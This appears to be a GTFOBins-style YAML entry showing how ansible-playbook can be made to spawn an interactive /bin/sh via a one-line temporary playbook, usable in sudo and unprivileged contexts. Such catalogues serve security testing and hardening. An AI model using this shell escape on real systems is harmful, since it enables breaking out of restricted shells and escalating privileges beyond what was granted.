Files

11 lines
239 B
Plaintext

---
functions:
shell:
- code: |-
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file
ansible-playbook /path/to/temp-file
contexts:
sudo:
unprivileged:
...